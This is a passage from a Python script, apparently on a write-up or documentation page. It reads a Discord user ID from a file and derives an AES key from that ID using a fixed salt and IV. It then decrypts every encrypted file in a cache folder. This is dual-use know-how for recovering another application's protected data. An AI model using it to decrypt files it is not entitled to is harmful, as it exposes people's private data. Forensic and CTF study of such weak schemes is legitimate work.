except (KeyError, json.JSONDecodeError) as e:
sys.exit(f"[!] Failed to read user-ID from {SENTRY}: {e}")
salt = iv = b"B" * 16
key = PBKDF2(str(user_id).encode(), salt, dkLen=32,
count=1_000_000, hmac_hash_module=SHA1)
print(f"[+] Discord user-ID : {user_id}")
print(f"[+] AES-256 key : {key.hex()[:16]}β¦ (PBKDF2-SHA-1, 1 000 000 iters)")
print(f"[+] Decrypting every *.enc under {CACHE} β¦\n")
# --------------------------------------------------------------------------- #
# 3) Walk the cache and restore each file
# --------------------------------------------------------------------------- #
ok = bad = 0
for enc in CACHE.rglob("*.enc"):
try:
plaintext = unpad(
AES.new(key, AES.MODE_CBC, iv).decrypt(enc.read_bytes()),
16)
dec = enc.with_suffix(".dec")
dec.write_bytes(plaintext)
ok += 1
print("β", enc.relative_to(CACHE.parent), "β", dec.name)
except ValueError: # bad padding β corrupt or wrong key
bad += 1
print(f"\n[+] finished: {ok} decrypted, {bad} failed")

Last updated
Was this helpful?